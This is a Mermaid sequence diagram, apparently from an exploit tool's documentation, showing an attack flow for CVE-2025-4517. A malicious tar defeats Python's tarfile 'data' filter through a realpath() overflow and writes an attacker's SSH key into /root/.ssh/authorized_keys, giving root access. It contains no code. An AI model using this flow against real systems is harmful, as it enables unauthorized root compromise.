    Note over A: Phase 1 — Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar

    Note over A,T: Phase 2 — Delivery
    A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessible<br/>to the vulnerable script

    Note over T: Phase 3 — Exploitation
    T->>T: Trigger extraction via the<br/>vulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" → resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained
